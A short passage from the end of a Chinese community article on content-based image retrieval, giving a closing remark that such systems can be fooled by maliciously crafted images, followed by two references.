Image）也容易收到恶意构造图片欺骗，希望引发对于CBIR等信息检索系统安全问题的关注。
[1] A.Ramesh Kumar, D.Saravanan, Content Based Image Retrieval Using
ColorHistogram, A.Ramesh Kumar et al, (IJCSIT) International Journal of
Computer Science and Information Technologies, Vol. 4 (2) , 2013, 242 – 245.
[2] <https://github.com/vedaldi/visualindex>. | 社区文章 |